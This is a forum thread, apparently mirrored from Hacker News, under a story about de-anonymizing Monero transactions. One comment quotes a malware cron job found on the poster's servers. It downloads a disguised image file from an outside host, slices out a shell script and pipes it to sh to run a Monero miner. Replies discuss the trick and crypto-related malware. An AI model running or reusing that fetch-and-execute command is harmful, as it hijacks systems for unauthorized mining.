News for hackers. Stuff that matters.

A comment on 80% of Monero Transactions Trivially De-Anonymized.

Re:80% of Monero Transactions Trivially De-Anonymized by kovrik on Monday April 17, 2017 @10:10PM (#14136002)
What a coincidence!

Just today at work we've found malware on some of our servers. That malware added this cron job:

/60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh

If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333

See: https://www.sophos.com/en-us/medialibrary/PDFs/technical-pap...

[ Parent | on HN ]
Re:80% of Monero Transactions Trivially De-Anonymized by socrates1024 on Tuesday April 18, 2017 @12:53AM (#14136580)
For an even bigger coincidence, the new Monero project to add support for I2P is called Kovri, a prefix of your username!
[ Parent | on HN ]
Re:80% of Monero Transactions Trivially De-Anonymized by Casseres on Monday April 17, 2017 @11:39PM (#14136270)
Speaking about criminals using Monero, they've started making ransomware that accepts Monero. As far as I know, they don't for the other supposed-anonymous cryptocurriencies.
[ Parent | on HN ]
Re:80% of Monero Transactions Trivially De-Anonymized by elnappo on Tuesday April 18, 2017 @03:47AM (#14137104)
With this little script the attacker made ~2700$ in the last five days!
[ Parent | on HN ]
Re:80% of Monero Transactions Trivially De-Anonymized by indolering on Tuesday April 18, 2017 @02:04AM (#14136816)
There was Bitcoin malware back when CPU mining was feasible. If memory serves me correctly, someone figured out it would be break-even serving ads with JS bitcoin miners.
[ Parent | on HN ]
Re:80% of Monero Transactions Trivially De-Anonymized by nyolfen on Monday April 17, 2017 @11:50PM (#14136324)
that's a clever little cron job
[ Parent | on HN ]
Re:80% of Monero Transactions Trivially De-Anonymized by Matheus28 on Tuesday April 18, 2017 @02:10AM (#14136835)
Yeah that's a neat way of hosting malware on someone else's servers. It seems to also download a few binaries and put them in /tmp/ using the same trick.
[ Parent | on HN ]